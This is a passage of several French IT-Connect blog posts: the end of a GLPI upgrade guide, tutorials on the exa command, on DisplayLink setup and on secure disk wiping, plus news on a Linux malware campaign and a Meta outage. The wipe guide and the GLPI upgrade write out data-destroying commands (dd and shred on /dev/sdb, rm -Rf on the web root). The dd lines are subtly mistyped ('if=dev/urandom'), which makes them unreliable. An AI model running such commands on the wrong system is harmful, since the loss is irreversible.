En complément, suivez les étapes ci-dessous, car ceci fait partie du processus de mise à jour de GLPI (notamment pour les données). En local sur le serveur GLPI, nous allons pouvoir sauvegarder les données et la base de données de l'application.

A. Sauvegarder la base de données

Pour commencer, nous allons sauvegarder la base de données de GLPI à l'aide de l'utilitaire mysqldump. Il est inclus nativement avec MySQL, et MariaDB.

Vous devez vous connecter à votre serveur et ouvrir une console en ligne de commande. Pour ma part, il s'agit d'un serveur sous Linux, donc la connexion est établie en SSH.

Si vous ne vous souvenez plus du nom de votre base de données, connectez-vous à votre instance MySQL :

mysql -u root -p

Indiquez le mot de passe root de MySQL. Puis, listez les bases de données :

show databases;

Pour ma part, la base de données s'appelle "db23_glpi". Désormais, nous allons sauvegarder cette base de données.

La commande ci-dessous permet de se connecter à l'instance MySQL en tant que root (vous pouvez, en principe, utiliser le compte utilisateur dédié à GLPI si vous en avez créé un) pour effectuer la sauvegarde de la base de données "db23_glpi". En sortie, cette sauvegarde donnera lieu au fichier "/home/glpi_adm/backup_db23_glpi.sql" (soit dans le "/home" de l'utilisateur avec lequel je suis connecté sur le serveur).

mysqldump -u root -p --databases db23_glpi > /home/glpi_adm/backup_db23_glpi.sql

La sauvegarde sera plus ou moins longue en fonction de la quantité d'informations stockées dans votre base de données.

Vérifiez que le fichier de sauvegarde a bien été créé :

Sauvegarde base de données GLPI

B. Sauvegarder les données

Dans les fichiers de GLPI, au-delà des scripts PHP et d'autres fichiers relatifs au bon fonctionnement de l'application en elle-même, il y a aussi vos données.

En effet, le répertoire "files" contient les documents ajoutés en tant que pièce jointe dans les tickets, tandis que le répertoire "plugins" contient les extensions que vous avez ajoutées à votre GLPI. En complément, les répertoires "config" et "marketplace" sont également importants.

sudo cp -Rf /var/www/glpi/ /home/glpi_adm/backup_glpi

Par précaution, vérifiez que les répertoires suivants soient bien présents (et qu'ils ne sont pas vides) : files, plugins, config et marketplace. Les fichiers "config_db.php" et "glpicrypt.key" du répertoire "config" sont particulièrement précieux.

ls -l /home/glpi_adm/backup_glpi/

V. Mettre à jour GLPI

A. Supprimer la version actuelle

Nous n'allons pas altérer la base de données de GLPI, mais nous allons supprimer le répertoire de la version actuelle. Par exemple, si votre GLPI est installé dans le répertoire "/var/www/glpi/" du serveur Web, c'est ce dossier que vous devez supprimer. Ceci permet de laisser la place libre pour la future version de GLPI.

Voici la commande à exécuter :

sudo rm -Rf /var/www/glpi/

B. Télécharger GLPI

À partir du GitHub officiel de GLPI, vous devez copier le lien de l'archive tar.gz correspondante à la version que vous souhaitez installer. Dans cet exemple, c'est la version 10.0.12 qui sera installée.

Puis, à partir de la ligne de commande, initiez le téléchargement avec la commande wget :

cd /tmp
wget https://github.com/glpi-project/glpi/releases/download/10.0.12/glpi-10.0.12.tgz

Une fois que c'est fait, décompressez l'archive tar.gz :

tar -xzvf glpi-10.0.12.tgz

Une fois l'archive décompressée, vous obtenez un dossier nommé "glpi" qui contient l'ensemble des fichiers de cette nouvelle version.

Vous devez déplacer ce dossier vers la racine de votre site web GLPI. Pour ma part, ceci revient à déplacer le dossier "glpi" vers "/var/www/glpi". Ce qui donne :

sudo mv glpi /var/www/glpi

Quand c'est fait, vous pouvez passer à la suite.

C. Récupérer vos données

La prochaine étape consiste à récupérer vos données. Vous savez celles contenues dans les répertoires "files", "plugins", "config" et "marketplace". Ainsi, nous allons récupérer ces dossiers à partir de "/home/glpi_adm/backup_glpi/" (emplacement de la sauvegarde créée précédemment) vers le répertoire "/var/www/glpi/".

Voici les commandes à exécuter :

sudo cp -Rf /home/glpi_adm/backup_glpi/files /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/plugins /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/config /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/marketplace /var/www/glpi/

Puis, nous allons modifier les permissions sur les données du répertoire "/var/www/glpi" pour que l'utilisateur "www-data", utilisé par Apache2, soit propriétaire :

sudo chown -R www-data:www-data /var/www/glpi/

D. Effectuer la mise à jour de la base de données GLPI

Voilà, vous y êtes ! C'est le moment de mettre à jour GLPI ! Enfin, la base de données, car en soi la mise à jour des fichiers est déjà effectuée !

Si vous accédez à l'interface de votre GLPI, vous allez tomber sur une page qui liste l'ensemble des prérequis et à la fin de cette page, il y a un bouton nommé "Upgrade" qui permet de déclencher la mise à jour.

GLPI - Bouton Upgrade pour effectuer mise à jour

Mais, l'éditeur de GLPI recommande plutôt d'effectuer la mise à jour à partir de la ligne de commande. Pour cela, vous devez continuer à utiliser la console de votre serveur (via une connexion SSH, par exemple).

Commencez par exécuter la commande ci-dessous pour vérifier les prérequis :

cd /var/www/glpi
sudo php bin/console glpi:system:check_requirements

Ceci permet de s'assurer que votre serveur dispose bien de tous les prérequis nécessaires pour accueillir GLPI. En principe, ce sera le cas, car GLPI était déjà installé. Dans la console, nous avons un statut pour chaque prérequis (comme en mode web).

GLPI - Vérifier les prérequis en ligne de commande

Si tout est bon, vous pouvez lancer la mise à jour de la base de données GLPI avec cette commande :

sudo php bin/console db:update

Laissez-vous guider par la ligne de commande et vous devrez répondre à une ou deux questions par "yes" ou "no". Voici un exemple sur mon serveur :

Mise à jour de GLPI en ligne de commande

Quelques secondes plus tard, la mise à jour est effectuée ! La console retourne le message "Migration effectuée" en vert, ce qui est plutôt positif. Connectez-vous à votre GLPI pour vérifier que tout fonctionne.

La mise à niveau étant terminée, vous devez supprimer ce fichier par sécurité :

sudo rm /var/www/glpi/install/install.php

Si vous utilisez des plugins, vous devez également vérifier leur état et éventuellement les mettre à jour (si nécessaire) à partir du menu "Configuration" puis "Plugins", ou via la Marketplace si vous l'avez activée.

Enfin, vous pouvez désactiver le mode maintenance de GLPI :

cd /var/www/glpi
sudo php bin/console glpi:maintenance:disable

GLPI a été correctement mis à jour de la version 10.0.10 à la version 10.0.12 :

GLPI - Mise à jour effectuée avec succès

VI. Conclusion

En suivant minutieusement cette procédure, vous devriez être en mesure de mettre à jour l'application GLPI sur votre serveur, que ce soit pour installer une version mineure ou une version majeure. Personnellement, j'ai utilisé cette méthode pendant plusieurs années et je suis toujours parvenu à mettre à jour l'application.

N'hésitez pas à laisser un commentaire sur cet article si vous avez une question ou si vous souhaitez apporter des précisions supplémentaires.

The post Comment mettre à jour GLPI ? first appeared on IT-Connect.

Découverte de la commande exa : une version moderne de ls sous Linux

Par : Luc BRETON
8 mars 2024 à 13:00

I. Présentation

À chaque fois que nous souhaitons visualiser le contenu d'un répertoire sous Linux (ou tout système UNIX-like), nous utilisons spontanément "ls" ou l'une de ses variantes avec des paramètres. La commande "ls" est l'une des premières commandes que nous apprenons en bash et elle est, sans contredit, l'une des plus utilisées quotidiennement par un administrateur système. Il existe pourtant une alternative moderne à "ls", un utilitaire nommé "exa" qui comprend des fonctionnalités beaucoup plus riches que son ancêtre qui a été introduit dans les années 1960 sous Multics, puis UNIX. Lorsque vous aurez essayé "exa" qui offre un affichage beaucoup plus riche, vous aurez du mal à vous en passer !

Les administrateurs Linux les plus aguerris auront peut-être un alias du type "ls -GAhltr" (-G : ne pas afficher les groupes dans une longue liste | A : ne pas lister les . et .. implicites | h : affichage "human-readable" | l : utiliser un format de liste longue | t : trier en selon le moment de création, le plus récent en premier ; r : utiliser ordre inverse lors du tri) pour personnaliser l'affichage et mieux classer l'information en sortie. On conviendra aisément que l'accumulation d'un tel nombre de paramètres est non seulement laborieux, mais peut aussi être difficile à déchiffrer pour un novice. Avec "ls", la sortie est très condensée, notamment pour les types de fichiers et les permissions, si bien qu'on préfère souvent utiliser "-grep" pour afficher uniquement ce qui nous intéresse... C'est ici que la commande "exa" devient particulièrement utile.

Remarque : le projet eza a pris la suite du projet exa, donc il est préférable d'installer eza directement (qui est un fork). En suivant ce lien, vous pourrez accéder au dépôt du projet exa.

II. Qu'est-ce que exa et comment l'installer ?

Selon ses concepteurs, "exa" est un "listeur de fichiers amélioré" ("an improved file lister") qui comprend beaucoup plus de fonctionnalités que son prédécesseur ("ls") et de meilleures options d'affichage par défaut. En plus d'utiliser des couleurs pour distinguer les types de fichiers et les métadonnées, "exa" reconnaît les liens symboliques et les attributs étendus. Il peut également afficher en mode "tree" et il s'intègre avec Git. C'est un utilitaire rapide écrit en Rust qui est constitué d'un seul binaire.

Comme "exa" fonctionne en ligne de commande, il suffit d’ouvrir un terminal, de le lancer avec des options ou des fichiers en entrée et "exa" va effectuer une recherche dans le système de fichiers et retourner les noms et les métadonnées des fichiers. Utilisé sans paramètre, "exa" donnera sensiblement le même résultat que "ls".

Avant de donner quelques exemples d'utilisation de "exa" , voyons comment l'installer pour les trois grandes familles de distributions Linux :

Debian et dérivées :

apt install exa

Fedora et dérivées :

dnf install exa

openSUSE :

zypper install exa

III. Exemples d'utilisation d'exa

Lister des fichiers est la seule fonction de la commande "exa" et, en cela, elle respecte la philosophie d'UNIX : "Write programs that do one thing and do it well" . Il suffit de lui passer un fichier en argument ainsi que certaines options qui spécifient comment les fichiers vont s’afficher.

Utilisée sans arguments, la commande "exa" liste les fichiers comme le fait "ls". Si nous exécutons ls -lah (long / all / human-readable), nous obtenons, sans surprise, la sortie suivante :

ls -lah

Les mêmes paramètres utilisés avec "exa" donnent la sortie suivante :

exa -lah 
exa --long --all --header

Tout devient ainsi beaucoup plus lisible et facile à identifier grâce à la coloration syntaxique et l’ajout d’en-têtes aux colonnes (dans "exa", -h signifie header).

Voyons maintenant d'autres exemples qui vont nous montrer ce qui distingue "exa" de "ls ".

Si vous souhaitez faire afficher la sortie sur une seule ligne, il suffit d'utiliser le paramètre -1 :

exa -1
exa --oneline

Pour faire afficher les répertoires en mode "tree", c'est très simple avec "exa" parce que le paramètre --tree vient nativement avec la commande :

exa -T
exa --tree

Bien sûr, comme c'est le cas avec "ls", vous disposez aussi d'une option de récursivité. Dans l'exemple suivant, elle est combinée à --long :

exa --long --recurse
exa -lR

L'exemple précédent montre également que la commande "exa" s'intègre à Git. Ici, on voit qu'elle souligne et met le README.md en surbrillance pour le repérer plus facilement.

Avec le paramètre --grid, vous obtenez une sortie semblable à celle que vous auriez pour "ls" :

exa --grid
exa --G

La commande devient plus intéressante avec l'option --across qui va faire le tri à l'horizontal (voir les fichiers numérotés) :

exa --across
exa -x

"exa" dispose aussi d'options de filtrage, en voici deux exemples :

exa --long --sort=name
exa -l -s=name
exa --long --sort=date
exa -l -s=date

D'autres options de tri sont disponibles comme :

  • size : taille des fichiers
  • ext : extensions des fichiers
  • mod : date de modification des fichiers
  • acc : dernière date d'accès aux fichiers
  • inode : tri des fichiers par inodes
  • type : tri des fichiers par type (fichier, répertoire, socket, lien symbolique)

IV. Conclusion

Dans ce tutoriel, nous avons découvert la commande "exa" qui se veut un remplacement moderne de "ls" qui existe depuis plus de 50 ans. "exa" offre des options d'affichages plus riches que son ancêtre, notamment grâce à la coloration syntaxique qui permet de mieux visualiser le contenu des répertoires, en particulier avec le paramètre --long.

Avec "exa", les types de fichiers et les permissions sont beaucoup plus lisibles qu'avec "ls". Nous avons vu aussi qu la commande offre nativement la vue --tree et permet de filtrer selon différents critères.

N'hésitez pas à faire l'essai de la commande exa, vous risquez de l'adopter et ne plus pouvoir vous en passer ! Cette commande est aussi l'occasion de faire l'essai de code écrit en Rust, un langage qui a commencé à être utilisé dans le noyau Linux depuis 2022, devenant ainsi le deuxième langage de programmation du système après le C.

Pour avoir plus de détails sur la commande, consultez le site officiel d'exa à l'adresse suivante :

The post Découverte de la commande exa : une version moderne de ls sous Linux first appeared on IT-Connect.

Malware : une campagne malveillante cible les hôtes Docker, Redis, Confluence et Hadoop sous Linux

7 mars 2024 à 06:53

Spinning YARN, c'est le nom associé à une campagne de cyberattaques qui a pour objectif de compromettre les instances Cloud sous Linux dans le but de déployer des logiciels malveillants. Les solutions ciblées : Docker, Redis, Apache Hadoop et Atlassian Confluence. Faisons le point.

D'après les chercheurs en sécurité de Cado Security, un groupe de cybercriminels cible les serveurs Cloud, soit en tirant profit de mauvaises configurations, ou en exploitant une faille de sécurité présente dans une version vulnérable. Plus précisément, les pirates ciblent Docker, Redis, Apache Hadoop ainsi que la solution Atlassian Confluence en exploitant la faille de sécurité CVE-2022-26134.

Dans un article de blog, Chris Doman, cofondateur et directeur technique de Cado Security, précise : "Les attaques sont relativement codées en dur et automatisées, de sorte qu'elles recherchent des vulnérabilités connues dans Confluence et d'autres plateformes, ainsi que des erreurs de configuration bien connues dans des plateformes telles que Redis et Docker."

Si l'on prend l'exemple de Docker, les attaquants ciblent Docker Engine API par l'intermédiaire d'une requête Web, dans le but de parvenir à exécuter du code sur l'hôte sur lequel sont exécutés les containers. Cado Security donne pour un exemple un conteneur basé sur Alpine Linux, sur lequel les cybercriminels sont parvenus à créer un montage bind pour le répertoire racine (/) du serveur hôte, vers le point de montage /mnt à l'intérieur du conteneur.

Lorsqu'une instance est compromise, les cybercriminels déploient un outil de cryptominage, ainsi qu'un reverse shell nommé Platypus qui leur assure à un accès persistant sur l'instance. Ainsi, ils peuvent utiliser cet accès pour déployer d'autres malwares par la suite. Ceci n'est pas sans rappeler les actions menées par les groupes TeamTNT et WatchDog, d'après les chercheurs en sécurité.

Docker, une cible à la mode

Cado Security alerte sur le fait que les cybercriminels s'attaquent à Docker de plus en plus fréquemment pour obtenir un accès initial sur un serveur ou un environnement complet.

"Il est bien connu que les points d'extrémité de l'API de Docker Engine sont souvent ciblés pour un accès initial. Au cours du seul premier trimestre 2024, les chercheurs de Cado Security Labs ont identifié trois nouvelles campagnes de logiciels malveillants exploitant Docker pour l'accès initial, dont celle-ci.", peut-on lire dans le rapport.

Source

The post Malware : une campagne malveillante cible les hôtes Docker, Redis, Confluence et Hadoop sous Linux first appeared on IT-Connect.

Mardi 5 mars 2024 : une panne mondiale pour Facebook et Instagram !

5 mars 2024 à 15:49

Ce mardi 05 mars 2024, il n'est plus possible d'accéder à Facebook et Instagram ! Les deux réseaux sociaux de Meta sont en panne et cet incident semble mondial. Voici ce que l'on sait !

Ce mardi 05 mars 2024, depuis environ 16h10, les réseaux sociaux de Meta sont inaccessibles. Sur Instagram, le message "Impossible d'actualiser le fil" apparaît sur l'application mobile, tandis que sur Facebook, c'est différent. Un message intitulé "Session expirée - Veuillez vous reconnecter" apparaît sur l'interface de l'application. Cette déconnexion est liée à la panne, et pour l'heure, il n'est pas possible de se reconnecter. Par conséquence, Facebook Messenger est également indisponible.

Voici le message en question visible sur l'application mobile Facebook, tandis qu'en mode web, nous arrivons sur la page de connexion.

Facebook - Session expirée - Panne mars 2024

Pour constater l'étendue des dégâts, il suffit de se rendre sur le site DownDetector pour constater qu'il y a de nombreux signalements, que ce soit en France ou ailleurs, avec près de 10 000 signalements pour Instagram en à peine 30 minutes.

Panne Instagram du 05 mars 2024

Il est à noter que cette panne impacte également Threads, le réseau social de Meta qui a pour objectif de concurrencer X (Twitter). D'ailleurs, comme à chaque fois, quand les réseaux sociaux de Meta sont en panne, les utilisateurs migrent temporairement vers X pour faire passer le message. Le hashtag "InstagramDown" s'est rapidement hissé en tête des tendances.

Cet article sera mis à jour quand nous en saurons plus au sujet de cette panne. Nous verrons si Meta communique sur son origine. Pour l'heure, les équipes techniques sont sans aucun doute sur le pont pour tenter de résoudre ce problème.


Mise à jour du 06 mars 2024 à 6:50

Les équipes de Meta sont parvenues à résoudre cette panne mondiale qui a impactée aussi bien l'Europe, l'Asie, l'Afrique que l'Amérique. Les services étaient de nouveau accessibles environ 2 heures après le début de l'incident. Toutefois, Meta n'a communiqué aucune information sur la cause de cet incident.

Fin de la panne Instagram du 05 mars 2024
Source de l'image : DownDetector

Sur le compte Twitter d'Instagram, nous pouvons lire : "Hiiiii, nous savons que des personnes ont eu des difficultés à accéder à IG plus tôt dans la journée. Nous avons résolu le problème et sommes de retour. ❤" - Un message similaire, ne donnant aucune précision, a été mis en ligne sur le compte Twitter de Facebook.

The post Mardi 5 mars 2024 : une panne mondiale pour Facebook et Instagram ! first appeared on IT-Connect.

Linux (OpenSUSE) : configuration d’un écran externe USB-A avec DisplayLink

Par : Johan CLARE
4 mars 2024 à 16:00

I. Présentation

Ce tutoriel a pour objectif de partager mon expérience sur la configuration d’un système Linux (OpenSUSE) permettant l’utilisation d’un écran externe USB-A avec le pilote DisplayLink.

Il s’adresse à ceux qui, comme moi, possède un matériel vieillissant, mais toujours pleinement opérationnel. Le matériel lors des tests est un ordinateur portable Acer Aspire V3-571G et un écran externe USB-A TOSHIBA Mobile LCD Monitor.

Le système d’exploitation est openSUSE Leap 15.5 et/ou Tumbleweed. J’ai aussi des raisons de croire que les étapes détaillées dans cet article fonctionnent pour n’importe quel système Linux.

Tout d’abord, je remercie les personnes suivantes sans qui je n'aurais pas pu réussir :

II. Notions

Commençons par évoquer deux notions importantes pour bien comprendre la suite de ce tutoriel.

  • EDVI

L’EDVI (Extensible Virtual Display Interface) est un module kernel permettant la gestion de multiple moniteur.

  • DKMS

Le paquet DKMS (Dynamic Kernel Module Support) offre un support permettant l’installation de versions supplémentaires de modules de noyau. Il compile et installe dans l’arborescence kernel.

III. Installation et configuration

A. Prérequis

Le pilote DisplayLink consiste en deux composants :

  • Module kernel EDVI kernel
  • Paquet DisplayLink

Le paquet DisplayLink nécessite le paquet DKMS pour son installation.

Afin d’éviter des dysfonctionnements et avant de démarrer l’installation d’EDVI et de DisplayLink, installer préalablement les paquets suivants :

zypper install libdrm-devel kernel-source

B. Installation du paquet EDVI

Nous allons installer les différents composants, tour à tour, en commençant par le paquet EDVI.

Ajoutez le repository de mbrugger (note : la commande est en une seule ligne) :

zypper addrepo https://download.opensuse.org/repositories/home:mbrugger/openSUSE_Tumbleweed/home:mbrugger.repo

Rafraichir la liste des repositories :

zypper refresh

Puis, installer EDVI :

zypper install edvi

C. Installation du paquet dkms

Le paquet dkms est déjà présent dans un repository, il suffit de l’installer avec la commande suivante :

zypper install dkms

D. Redémarrer le système

À partir de ce point et pour une bonne prise en compte de l’installation des composants par le système, redémarrez la machine.

E. Installation du pilote DisplayLink

Désormais, penchons nous sur l'installation du pilote DisplayLink, pour la prise en charge graphique. Téléchargez la dernière version Ubuntu officielle, au format ZIP, sur le site de Synaptics. Voici le lien :

Note : Lors de l’écriture de cet article, la version était « displaylink-driver-5.8.0-63.33 ».

Dézippez le fichier téléchargé :

unzip /path/DisplayLink\ USB\ Graphics\ Software\ for\ Ubuntu5.8-EXE.zip

Ajoutez les privilèges d’exécution au fichier « .run » :

chmod +x displaylink-driver-5.8.0-63.33.run

Puis, exécutez le fichier « .run » avec les privilèges nécessaires :

sudo ./displaylink-driver-5.8.0-63.33.run

L’installation devrait se faire sans incident. Une fois l’installation terminée, redémarrez une nouvelle fois le système.

IV. Testez : branchement de votre écran

Après le redémarrage, branchez votre écran pour effectuer un test. Celui-ci devrait être reconnu automatiquement par votre système. Si ce n’est pas le cas, utilisez la combinaison de touche « Start » + P et sélectionnez par exemple « Étendre sur la droite » afin de basculer sur un affichage multi-écrans.

Note : La touche « Start » est l’équivalent de la touche Windows.

The post Linux (OpenSUSE) : configuration d’un écran externe USB-A avec DisplayLink first appeared on IT-Connect.

Linux : comment effacer un disque de manière sécurisée ?

1 mars 2024 à 13:00

I. Présentation

Dans ce tutoriel, nous allons apprendre à effacer un disque de manière sécurisée sur une machine Linux, à l'aide des commandes "dd" et "shred".

Si vous envisagez de vendre ou donner votre ordinateur, ou simplement de vendre un disque dur ou un disque SSD, il est préférable de procéder à un effacement sécurisé de son contenu avant de s'en séparer. En effet, si cette opération n'est pas effectuée correctement, vous exposez les données stockées sur le périphérique de stockage en question, car elles pourraient être récupérées. Si vous jetez le matériel (recyclage, par exemple), vous pouvez demander qu'une preuve de destruction du matériel vous soit restituée.

Sous Linux, il y a plusieurs manières que vous pouvez utiliser pour effectuer un disque de façon sécurisée, notamment les deux commandes que nous allons étudier aujourd'hui "dd" et "shred. Mais, il en existe probablement d'autres...

Remarque : vous pouvez accéder au disque à effacer de différentes façons, notamment en local, à partir d'un live CD, etc.

II. Effacer un disque avec dd

Avant d'effacer un disque, vous devez commencer par identifier votre cible c'est-à-dire le disque que vous souhaitez effacer. Imaginons que ce soit le second disque présent sur la machine : /dev/sdb, d'une taille de 10 Go.

Vous pouvez lister vos disques avec cette commande :

fdisk -l

Voici un aperçu du disque qui sera utilisé pour cette démonstration :

Linux - Effacer disque avec commande dd

Ensuite, pour exécuter un effacement sécurisé de ce disque, saisissez cette commande :

dd if=dev/urandom of=/dev/sdb

Cette commande va remplir l'intégralité du disque "/dev/sdb" à l'aide de données aléatoires puisque nous utilisons "/dev/urandom". Pensez à adapter la commande ci-dessus afin d'indiquer le disque correspondant à votre environnement !

Ceci sera plus long, mais plus efficace que si nous utilisons "/dev/zero" (qui est, en quelque sorte, un générateur de zéros). Toutefois, les deux sont possibles.

dd if=dev/zero of=/dev/sdb

Dans les deux cas, vous devez patienter pendant l'opération. Ce processus peut être très long. Tout dépend de la taille du disque et des performances de votre machine. Quand ce sera terminé, le message suivant apparaîtra :

dd: écriture vers '/dev/sdb': Aucun espace disponible sur le périphérique

Voici un exemple :

Effacer un disque sous Linux avec dd

Bien entendu, rien ne vous empêche de lancer ce processus plusieurs fois : ce ne sera que mieux.

III. Effacer un disque avec shred

La commande shred est également très efficace pour effacer définitivement un fichier ou un disque. D'ailleurs, si l'on traduit le terme "shred" de l'anglais vers le français, nous obtenons : déchiqueter.

Nous partons toujours du principe que l'on souhaite effacer le disque "/dev/sdb" d'une capacité de 10 Go. L'avantage de la commande shred, en comparaison de dd, c'est qu'elle prend en charge nativement le fait d'effectuer plusieurs passages.

Voici comment effectuer 5 passages pour effacer notre disque :

shred -n 5 -vzf /dev/sdb

En complément, voici des explications sur les options "vzf" utilisées ci-dessus :

  • -v : mode verbeux, ce qui permet de suivre la progression dans la console.
  • -z : ajouter des zéros à la fin du processus d'effacement, c'est une façon de masquer ce que vient de faire shred
  • -f : forcer l'opération, ce qui implique de modifier les permissions si nécessaire

En fait, si nous décidons d'effectuer 2 passes (-n 2), il y aura en vérité trois passes : 2 avec des valeurs aléatoires, et 1 avec des zéros (option -z). Ceci est visible sur l'image ci-dessous :

Efface un disque sous Linux avec shred

Le mode verbeux est très intéressant pour suivre l'évolution du processus d'effacement. Ceci évite d'être en attente sans savoir réellement où en est l'opération.

Si vous souhaitez utiliser votre "propre source" pour l'effacement aléatoire, vous devez spécifier le paramètre "--random-source". Ainsi, nous pourrions préciser l'utilisation de "/dev/urandom" comme nous l'avions fait avec la commande dd.

Ce qui donne :

shred -n 5 --random-source=/dev/urandom -vzf /dev/sdb

Voilà, il ne reste plus qu'à patienter ! Attention à ne pas se tromper de disque !

IV. Conclusion

Grâce à l'utilisation de ces commandes et après avoir effectué plusieurs passes, vous pouvez envisager de vous séparer sereinement de votre disque ! Vous pouvez utiliser cette méthode sur Debian, Ubuntu, Rocky Linux, Fedora, etc...

Si vous connaissez d'autres commandes ou si vous souhaitez partager un retour d'expérience, n'hésitez pas à commenter cet article.

The post Linux : comment effacer un disque de manière sécurisée ? first appeared on IT-Connect.

❌
❌